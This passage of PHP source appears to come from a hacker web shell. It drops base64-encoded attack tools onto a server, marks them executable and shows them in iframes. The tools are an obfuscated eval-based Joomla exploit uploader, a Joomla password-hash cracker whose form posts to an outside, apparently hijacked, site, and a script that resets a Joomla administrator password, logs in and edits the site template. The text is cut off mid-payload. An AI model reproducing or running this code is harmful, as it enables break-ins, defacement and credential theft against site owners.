  179.     $ojo ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJOcnV5NERZVDNBZklPRnhlelNEYUR0a1ZKYmd6eUp0NjQvMVpaQi9meFk1VytrbnhPZ2dGbVlYUzMyNVlsc2xnc1V2N3QxL1B6ZlAzNDhmdS9mdnpjZjlYYmVhejdyNUxQbys2LzhtZitiditWNTNrczU1SDZ1WFU3ai9QLzlieHVmWi9IMGIvcnYzYisyVC96K1ZuUGExTTVqM3o1WGZ1NUwvOHZYMzlIdXZ3K3gwcmJ0K3ZyMS9IaTIvM3AvbTI4L08zLzhpZlArejZmTnQvNGsvWDh2L2w5WC8vMzhiNC83enBlK2phLzlPMzU1N1h4M1g1L05yL3l2OC83Uy9lenZ2V2NkejE5bmMvL3kza3VqbTYzbXZ2NXVIYzdsL1AvMnV4LzNsT2lqMUhlM1BNNmY1KzJpSGYvVDdnNno4WFdQOHVuZjIvemJlUG8vcVBQdDJHejJWSFBQZnE5NndONzFvNVorMTdydmZYbnRmbkh5bmlsbnhlV204L096NGcrOXpibnRwNDJoemJIbXZxNTR2UHZIZy90bmdMbTI5cnp5aEU5VnRyenROYlNiV0IvTm96VzB1OXI5bTQyaUNmcnJkajR3OXhLdnpid1RmaS8wdWZRZmpkYnR6SGFmYkpINlhOdVl6WWIyQS94NmVmYm5PU1gxUCtYemUyckc3YkZUaHFUejJ5ZlJuOTJtNC9XbDVuVDBZL21KejJETmV2WkI5ZVg3cXRhdTk4Q1g0dzVMSDM4ZHEyZWpROWxLL0JpRzhTalAwc3hqbjBTYzVXUHViYlpyeEpyYlYzdHQ5Ynl4azgzL1BzR0o1bmZ4c2tCUnA4VGgyMXRHZDhidzFwZjduTnA1MlFuWXFoOWJ6Z0x1RFBmR2JOMHZMUjdiZi9DL1RvZUhZZml1VXBzNEVQRlJuU2JOWnMyL3dhLzdaTVdDeDRuNExzQ2J0dGNaTVBjeDh2RzlIUGlOUzhkeDhKVDd1TVhjRzY4dG5FMXhoMWJtQk9pMzYvWXhtNktqOVRucU9zZVlHN3J6MnpQMFB3ZjJQTTExNlkxdy9ITm44MVhEZU9WR0JZbWI5MmVGVTVSL2dKVGV1YWoyMEQvd3gxdEhQbXNnc3M3T0U3OWQ0VTNFK05rY3A3bXNPR2pNckZWajRsRjVjWlBYNGZXaVYvQzU4eVY5KzRYeloxOEt4empCNjExeGYvazVEWmY0WGZwV0d3MmJ4aHE2OHlYejRDTDJtY2huczJ4RGZQdC9zYXA0ZndGaml1MmJ1ZUZnOHk2YnQwT3pTL3k0VUk4M2Z1bi9JWjlBeitMejllK3R2YnBIS0c1bVB2QVVZQjFZVGIxTVkxcDRaWGNwem1Ec2N5NXVrNitFU2FmeEJUNXE5azlNNGMyZjJQUnRnM3lWUWJYV3NPYk5VYjNVWURQOXBuZzhvb05IVnVEVzkrY2V4Q2JOOFl5bHpFZjRZMDFhMTRMR0tuOU9zM1p6elkzdlJuM3pYOHI4OGx3REVlRkV5dDJGUWVBWmZIdUI5c21NT2o0ZEQ1ZVdVTVE2d1grZ2x1Vk8xUDN5N0RyN1JLYjhHckFvU3M4cFdmQzhYV1pzU2ErWmEyRjNDZTdvQzNOR2JKWjZlZVVLejdjODJZTk4rSUlubW0yTkNhRXRZMWNzNUt6bkZlWHljV0tLM0tFWXVEZThSbGdSWGdGYjliTnNnTis4MWptdnhRLy8vajczMzc3OWNyUGozVjN5bk1kOHZuMjFlN1NlZVFnUFRlRHIzelJEdy9pK00yY1A4UUE5d2dYTitaZndMbDUxdmswZzQwWHVNS1hoYndqTGoybXRzaldHd3R4aU5ZeDd3aFgyRWdZcWZ2UWJCbDdLVCt3M25ETW84MnlPZnFPdjI3a2dEdlhXUWZXaVZmbkN1WEtEYzJZNE5mblByU01kQW5hUmZGNnFVYzhqL0VzOGw5QzA4aCtIOWIzN0xqMWM2M0pBMzNjYkYvUU9zTHZ3cHpJZGZMWmNiRTVjMUdNUHpqM21IcWpyVU5hNk1hYXl1UTQ4MmVHTTEyM0NYOFhYYm95OTVLbWhyUVdWa3crNFQzMFhuYWNvcjNMMVhkd3FPWjU3MzVQeEoxanVWNzB0dXhxTG5pVFYxZHdXdnMxMXFoYWd6V0c1N1JoYy9pelljNDZWUFo0ZFp2cldlU2pvRzRMYWdQSGFFRVhLbi9BOS9aZnMxTjFiaUd2cm1pUURPNHE4MDdrZlB0TGVuU0ZaektjUkIyUnFVY3Eya2E1ZmV2WEdxUG1ya3orcWNSekcxZXg5KzUyMGRxSk9XbjFTajUrZHZzSzQraWVmT0U1WFJjODU1ajNLcGFlZlY2MmE1RHpNdldDT2Q0eExONUlsOWkzZjhDTytPb0E1L2RMcmpZdXdXUWw5aXB4a3VHeWtiZm9QeVRYanV2WDlXbmVlWEp3d0hQbHd0RjZqdXNYNTUyamo1WFJhdktiZFFkMnF1am1STDJpNXhNWENWMlNxWWtESFpqeGQvaVR1aTZWcWRGazE2UFBJNEgxdUdwamZOSnNKWjliTTdnbVFLKzc3cXpiaFN1SW4rUmEwTFgwQ3g2Rnc0TDFWWERwbWt6MU5ITnBoMm9CZkJ2V2M4ZmtpUUNYMHE1b2NmbWRlaUx5ekxXWkdESXZLdTV1MUlXdTIxWmk1OGw2clNldDZ5OTZVYmdneGlzMVMvbk11bEQ0NFh5OTZKYkJmZFJzMHJhNTM2ZTV3ZS9HMDZqbDRQQU1CNHRuTHJvNDBMM1drZnBFaHpkL0M5UHdjVVd2MVRySGNkOGg0QkhwSW1KUjluakJYM2M0cU1LWmFFZHJvUXllNUdmWGh4Vi9PUmM1SDVKSHd6VWZzV010cFhQa2FXdnhERFpraDB0TWFGN2JKUWVBZmZuTXZRTnp4WDF5cm1vcXh0QTk5eDdQOGlPYTJqYlFmTGQ5MUozS1o3NHV6L2hJOUQwSytkTTFrN0JhOWxuUDM3QVBmQ1VmMEFNSmN6eWF6blZ2c2M1eW44WGNiWjhTVXhtOWJmc2wvTjE4SGRTdUdYc3I1d2EvNlNGWXV4WDdoSG9wNkVrcGx0NHozZ3Y5a2tDdjJYNWhMZVdjV2VFWVltSm9rRmVQRXoyRDlXYmlRVG1yWG5KSG5ibkYrRXJvdjZEbjRWeFhqTE1FSjhOalFSL0d2YlJzTHNDdjJYcXlrZ2ZSZGtGYytEcjFuTHptaFRHc2dZK3V1Mi8xRnRiZGdYNnBjRUM2MUluR20rc0M5d0RqUGpXRThwZzFKclZhdFMrb0ZTcTFqUDNtZmt5bFRwUWVlK3lqVjFTcHZlVjdhbXYxTzhtWDF2bkpldXBKcnR1bXZRTmJTMmN3cDN6QlZhVVBJYzEreDU3Mk9mNXdIRlRySDhmYmZlWlkxeHVSSm05WmJ4bjNHVTBpTFhxUUcvUGtBOWNabGZveVhmaFRZMGVmMytDS2NzbFphQUgzWEYwdjVEcnpqbTJlMFU0RlcxbGpxbStLZlYwRHVkZmlubzl3dWhBWGxWeXg0VGVlbmZCbmdzZU42M0F2Wlp2NklwTkxZcG40bGphNzdhTjNxaGl2RTZPS2ErcFlYMS9JSitZbjUyLzN3K3M2dVRhb2RhUlA2QU1WeHlJY0pKMXdNTDkxbjNYK2EvcTNvUGRjRDZxR0RQeU5CaEUrMFMydXVTdDZwcmgrUG5pZU5Td2NvdjJHYmNhU2ExeHJSTm5ROVNzNVcydk4rK2kzS3k2b0NaVXZyQ1dPeVZQV2xjNUhydXZrYjJ6dVhtcEYrNnowSU9vMnNaZW9zZHhMRGZwelFWMVgwU3FxbzZrbHZUN0YrRUdNV3VPem5nVHZLK2U5K25qYW04a2RWeG92VGUwell2dE9uanJtdFpVMU81KzczNXZjTXdVWDVnTG54WHpSZk9wRnh1VHdZbHlqWlFOdUZ1ZGc5OHE4VmpqYlk3bDNWYTB6cU11Vlp4eTNiNDZ0ZjNxTzJndDQ3RU9YVm5pMnVDZndvQlk1MENma09QY3JLblZJSW04SisrUjZhMUxsc0pVY1JjMjdQaVlmdW4rVXdLZmpwaDZUNy9NbGR3WXhvTm9DSHN1dVBlRGdTaTZKUzgvQnNaQWRQNjk5N0dIYWJ3VnRyL2pEbjhwZDdqZVZxWVBkaTFqaGs0UjJWTC9POFVDdklOQmhGUzJsZmhQNXhyaTAxbkt2MjMzUmNzeDUyYWZtT3NVS3ZiL2lIQW5IeUhidXB3VzVDSDNuUGNTaENhMlhudHhIL2hyMUhiVllRaE5VK0N2VnFmZExtYlZtY0wyZVc5RHA2S2lDZmkvVU9NNUR5ay9ZdU1KL28xZjNtTnpvdlNmWE0xNUhQQ2RHVnZLZzl3UmRiNDQ2STgwODRIMmZVYWU2cHFoOHR4YWpoK2krdGZlY2xQUElEYVAzQmNkYXEyWTBWTEgycCs0WmRlNTdZazU5TEdxUWdLTkc3MnJERGdWK2N2K0FtRitwV1lSdGM5amE1MURkcTRTUEhCUFZmVWUway9jUzNJdDJybEIveTdpSGgwZHZDSjdQNEUyWWhpK3UrekxlMnpXSGxJc09YT0dia1ovdSsraFJldi9CdkpEY2o3RnVYeWVIdUo5ZDBlQ2pGOEk2azNOYnVmQ1ZkZGE2ejdxVG10ajFaakYzTFB2b1VZOTkyQ2Q4VGJ3a3h5S2M1M2h4SGVkOUJxOHh1M2JIVnVMb010YzFkRU5DZHg5YkhmMXU1OGJiekVIdWpiVm5ydWp0UkkycDJObndHUnJVdktzWVJDc3BEejcyMmU5TEYxdkNpL0tOYTlGbEgzMTM3NzhsOTVNV1lqLzIwV2YxdmxUaXVkWDErcnJQMnUySzR3WHVjYjVkOWxIRDVaaTZXM1pDZytZMDlZejN6MTBmaGJHSGxqY21vMzdGeU5oVGVwSDNpTGRLN1R2R2RJM2pPc0Q0QXIvR3UzdXlqcGVjWis0UU5qNzcwSkx5b1h1cTF2aHduSHR4M3JleDNwTmZYWTliMzFrRExQdW9PY1daQzNrMFp1eG96dVJGMlJjdDVUM2lBZ2NsNTBiM1JkTEZCNStKcGVTNnhmMWpmQy9lSlBhZEI2OWFLcXhIWEFOVHgrUjZ3UTU5ZmZzcVdTdGU5YksxRFB5VzhJZng3WEVMOHhHdjNPYjl3Z3AyQ3ZqTmRZczA1bTBmZXp2T3crSXYreGo5Njd6Z2QwL0crMS9XVkplNXlYL2J4TkdWZXlyOW5LQyt5OVExMTU1dEpvY2thampoT2U5anp6MlpvNjA1M2V0M3J5bnQ0MzJaakUyRURXcTFnaFl1eEt2M3g1VW5zWW4zU29aMlBzQ0kremk4SHhma3BrTDlXcXp0SHBOdnZPY2tQaUhuU1pOWjE4RTNmdmVvdWgrYTBXUFVuK0grRDdsYjk2STVSby9uTTNWaXdPc0oreFJpV0xaQU00d2FiQVBQK0VRK1I4Y0htdHUxZXM0elB5VTB2ZmNvRXZWaVJsdUV0ZElISDk2bUppdllvSzFmWTFDWGp4NGhtdHp2R0kxOU5EaEQrdHU2Rnczbi9yUmloUDZXc0EwbmlkZlJGUmx0RjlqNnlyMGFFL3Vwdm5ydTQ3MGN4MTFhSnY4SG1pMnd6ZWlEVVRNTU81RjN4MzVwbWhqd3ZvcWY3LzJNaWkwTDY5RDVBTXVmZmJ5YjViNmx6cUdwdkNlUVdHKzVQTi92elkzZU1YV0UrY0h2MkdqOXJvK2U2T1Q4Vlg4NXB5WnFidk9QYkczTy9NQkQxSExpemhmMlgvRlBzSjY4ei8xQTUyUFgycTVEblVQWFBsWm1IdDduRmlmVk9WZS9NeVVmdU01MXZzY3UwbDlsSCs5c1pYU3o5OHN5T2p6QkJjRThsUi9jcTNUdXUwL3ROR29zeGhEZlVVZnFOemxCdW5VQjk2Njl3YVQ3ZlJvN3cwTndnZCtwMGYvZ1dqeE83VG5lQnlSbXZiK1g0QmIzMDYxbFZNKzdId0pPcEpVTC9GYS80azNjUTYxYmVKYnp2M3NrNDcyb1l4Kzk2RkhYa204Uyt6RHVZM2lQcU9BTGNSSThsNmgzVkgvUXExWHVSRk1HK0szZ1JQSHJtcEs4Vm55UCs3N1VQQVZPRCtvVjEwSGkwRHA1WHBxS09idTM0ZjZHOTJqOTNtWkNhN1IzWnIrOFIzdi9DNzhUK1hxZDcxVHJhTFo4L1B6ai9aL2ozLy80cmIvSy9mc1AzaTFwWDlUczFwZFRmZi96ai84QydceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
  180.     $file = fopen("0jo.php" ,"w+");
  181.     $write = fwrite ($file ,base64_decode($ojo));
  182.     fclose($file);
  183.         chmod("0jo.php",0755);
  184.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Joomla (com_install) Exploit Auto Upload Priv8</b></p><iframe src=0jo.php width=75% height=60% frameborder=0></iframe>"; }
  185.        
  186.     elseif(isset($_GET['jpc'])) {
  187.             $jpc = 'PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vei9wL3pwc2k5MGxmYzcuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHRpdGxlPkpvb21sYSBQYXNzd29yZCBDcmFja2VyIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbmouY29tL2ljby96L3AvenBzaTkwbGZjNy5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz48c3R5bGUgdHlwZT0idGV4dC9jc3MiPglib2R5IHsgYmFja2dyb3VuZDojMTUxNTE1O2JhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaTk1Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL2FlMS92aXJ1c2F3b3JtL2FnL2ZvbmRiZ196cHM2NTBmNTAyNS5qcGcpOyBmb250LWZhbWlseTogQ291cmllciBOZXc7IGZvbnQtc2l6ZTogMTJwdDsgZm9udC13ZWlnaHQ6IDQwMDsgY29sb3I6ICM1OEZBRjQ7IHRleHQtYWxpZ246IGNlbnRlcjsgfTwvc3R5bGU+PC9oZWFkPjxib2R5IGJnQ29sb3I9IiMxNTE1MTUiPjx0YWJsZSB3aWR0aD0iNzgxIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48dGFibGUgd2lkdGg9Ijc4MSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPjx0cj48dGQ+PGJyPjxjZW50ZXI+PGZvcm0gYWN0aW9uPSJodHRwOi8vM2RpbS1rb3JpbnRoLmtvci5zY2guZ3Ivd3AtY29udGVudC9sYW5ndWFnZXMvZWwubW8ucGhwIiBtZXRob2Q9IlBPU1QiPjxwPjxQPjxiPjxmb250IHNpemU9IjIiIGZhY2U9IkNvdXJpZXIgTmV3IiBjb2xvcj0iI2ZmMDAwMCI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNThGQUY0Ij5bPC9zcGFuPiA8Ymxpbms+SW5zZXJ0IEhhc2ggUGFzc3dvcmQ8L2JsaW5rPiA8c3BhbiBzdHlsZT0iY29sb3I6ICM1OEZBRjQiPl08L3NwYW4+PC9mb250Pjxicj48YnI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iQ291cmllciBOZXciIGNvbG9yPSIjNThGQUY0Ij48c3BhbiBjbGFzcz0nYm9sZF9saW5rJz5FeGFtcGxlOiA0MTczODRiNWYxMGRhZGQwODIwYWYxY2Q0YjM2OTVkOTp2bzJrMjhIWWVjaWNTUjZhcVVvS2NYbUlGaEtaaGhKUjwvc3Bhbj48L2ZvbnQ+PGZvbnQgY29sb3I9IiM1OEZBRjQiIHNpemU9IjEiIGZhY2U9IkNvdXJpZXIgTmV3Ij48YnI+PEJSPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJoYXNoIiBzaXplPTYwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllciBOZXc7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzU4RkFGNDsgYm9yZGVyOiAxcHggc29saWQgIzU4RkFGNDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNlbmQiIHZhbHVlPSJTZWFyY2giIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllciBOZXc7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzU4RkFGNDsgYm9yZGVyOiAxcHggc29saWQgIzU4RkFGNDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCI+PC9mb250PjxQPjwvZm9ybT48c21hbGw+PHNtYWxsPjxzcGFuIGNsYXNzPSdib2xkX2xpbmsnPjwhLS1TaW1wbGUgSm9vbWxhIFBhc3N3b3JkIENyYWNrZXIgLS0gQ29kZWQgQnkgVmlydXNhIFdvcm0gLS0gZ3JlZXQgdG8gOiBteSBiZXN0IGJyb3RoZXIgTWF1cml0YW5pYSBBdHRhY2tlciBhbmQgYWxsIG1lbWJlcnMgQW5vbkdob3N0IFRlYW0gLS0+PD9waHAgJGhhc2hlcz1hcnJheSgpOyAkaT0wOyAkcGFydHM9ZXhwbG9kZSgiOiIsJF9QT1NUWydoYXNoJ10pOyAkaGFzaGVzWyRpXVswXT0kcGFydHNbMF07ICRoYXNoZXNbJGldWzFdPSRwYXJ0c1sxXTsgaWYgKElTU0VUKCRfUE9TVFsnaGFzaCddKSl7ICRzdHIgPSAiICI7IGVjaG8gIjxmb250IHNpemU9MS41IGZhY2U9Q291cmllciBOZXcgY29sb3I9IzU4RkFGND48Yj5TdGFydGVkOiA8L2I+IjsgZWNobyBkYXRlKCJGIGosIFksIGc6aTpzIGEiKTsgJGxpbmVzID0gZmlsZSgnZWwubW8uMS50eHQnKTsgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lX251bSA9PiAkbGluZSl7Y2hlY2soJGxpbmUpO30kbGluZXMgPSBmaWxlKCdlbC5tby4yLnR4dCcpO2ZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZV9udW0gPT4gJGxpbmUpe2NoZWNrKCRsaW5lKTt9JGxpbmVzID0gZmlsZSgnZWwubW8uMy50eHQnKTtmb3JlYWNoICgkbGluZXMgYXMgJGxpbmVfbnVtID0+ICRsaW5lKXtjaGVjaygkbGluZSk7fSRsaW5lcyA9IGZpbGUoJ2VsLm1vLjQudHh0Jyk7Zm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lX251bSA9PiAkbGluZSl7Y2hlY2soJGxpbmUpO30kbGluZXMgPSBmaWxlKCdlbC5tby41LnR4dCcpO2ZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZV9udW0gPT4gJGxpbmUpe2NoZWNrKCRsaW5lKTt9JGxpbmVzID0gZmlsZSgnZWwubW8uNi50eHQnKTtmb3JlYWNoICgkbGluZXMgYXMgJGxpbmVfbnVtID0+ICRsaW5lKXtjaGVjaygkbGluZSk7fSRsaW5lcyA9IGZpbGUoJ2VsLm1vLjcudHh0Jyk7Zm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lX251bSA9PiAkbGluZSl7Y2hlY2soJGxpbmUpO30kbGluZXMgPSBmaWxlKCdlbC5tby44LnR4dCcpO2ZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZV9udW0gPT4gJGxpbmUpe2NoZWNrKCRsaW5lKTt9ZWNobyAiPGJyPjxmb250IHNpemU9MS41IGZhY2U9Q291cmllciBOZXcgY29sb3I9IzU4RkFGND48Yj5GaW5pc2hlZCA6IDwvYj4iO2VjaG8gZGF0ZSgiRiBqLCBZLCBnOmk6cyBhIik7fWZ1bmN0aW9uIGNoZWNrKCRhKXtnbG9iYWwgICRpOyRhPXJ0cmltKCRhKSA7Zm9yKCR4PTA7JHg8PSRpOyR4Kyspe2dsb2JhbCAgJGhhc2hlcztpZiAobWQ1KCRhLiRoYXNoZXNbJHhdWzFdKSA9PT0gJGhhc2hlc1skeF1bMF0pe2VjaG8gIjxmb250IHNpemU9MS41IGZhY2U9Q291cmllciBOZXcgY29sb3I9I2ZmMDAwMD48YnI+PGJyPjxiPlRoZSBwYXNzd29yZCBpcyA6PC9iPjwvZm9udD48Zm9udCBzaXplPTEuNSBmYWNlPUNvdXJpZXIgTmV3IGNvbG9yPSNGRkZGRkY+PGgxPiRhPC9oMT48L2ZvbnQ+IjtlY2hvICI8Yj5FbmRlZDogPC9iPiI7ZWNobyBkYXRlKCJGIGosIFksIGc6aTpzIGEiKTt9fX0gPz48L3NwYW4+PC9zbWFsbD48L3NtYWxsPjwvY2VudGVyPjwvdGFibGU+PC90ZD48dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDEwcHg7IGNvbG9yOiAjRkZGOyBmb250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyOyI+Jm5ic3A7PC90ZD48L3RyPjx0ZCBzdHlsZT0iZm9udC1zaXplOiA5cHg7IGNvbG9yOiAjNjY2OyBmb250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyOyI+Q29kZWQgYnkgVmlydXNhIFdvcm0gPC9zcGFuPjwvdGQ+PC90cj48L3RyPjwvdGQ+PC90YWJsZT48L2JvZHk+PC9odG1sPg==';
  188.     $file = fopen("jpc.php" ,"w+");
  189.     $write = fwrite ($file ,base64_decode($jpc));
  190.     fclose($file);
  191.         chmod("jpc.php",0755);
  192.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Joomla Password Cracker by Virusa Worm</b></p><iframe src=jpc.php width=70% height=60% frameborder=0></iframe>"; }
  193.        
  194.       elseif(isset($_GET['joic'])) {
  195.     $joic = 'PD9waHANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgICAgICBDaGFuZ2UgSm9vbWxhIEluZGV4ICAgICAgICAgICAgICAgICMNCiMgICAgICBDb2RlZCBCeSBSQUIzT1VOICAgICAgICAgICAgICAgICAgICMNCiMgICAgICAgICAgdi5iLTRAaG90bWFpbC5jb20gDQojIGh0dHA6Ly93d3cucmFiM291bi5uZXQvDQojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjICANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KaWYgKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSkNCnsNCg0KJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQoNCiAkZGJwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOw0KICR1c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRibmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KICAkc2l0ZV91cmw9KCRfUE9TVFsnc2l0ZV91cmwnXSk7DQoNCiRjbz1yYW5kb210KCk7DQoNCg0KDQogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpIDsNCg0KICAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCg0KJHRyeUNoYW5pbmdJbmZvID0gbXlzcWxfcXVlcnkoIlVQREFURSAiLiRkYnByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nYWRtaW4nICwgcGFzc3dvcmQgPSAnMmE5MzM2Zjc2NjZmOWY0NzRiN2E4ZjY3YjQ4ZGU1Mjc6RGlXcVJCUjF0aFRRYTJTdkJzRHFzVUVOcktPbVp0QVgnIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIGFkbWluIHBhc3N3b3JkIHRvIDEyMzQ1Njc4OSIpOwkNCgkJIA0KCQkgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7DQoJCSANCmlmICggJHJlcSApDQp7DQoNCgkJDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZV9zdHlsZXNgIFdIRVJFIGNsaWVudF9pZD0nMCcgYW5kIGhvbWU9JzEnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgbmFtZT0nIi4kdGVtcGxhdGVfbmFtZS4iJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCg0KDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw0KTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsInVzZXJuYW1lPWFkbWluJnBhc3N3ZD0xMjM0NTY3ODkmb3B0aW9uPWNvbV9sb2dpbiZ0YXNrPWxvZ2luJnJldHVybj0iLiRyZXR1cm4uIiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gTG9naW4gRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gTG9naW4gU3VjY2Vzc2Z1bCIpOw0KfQ0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQo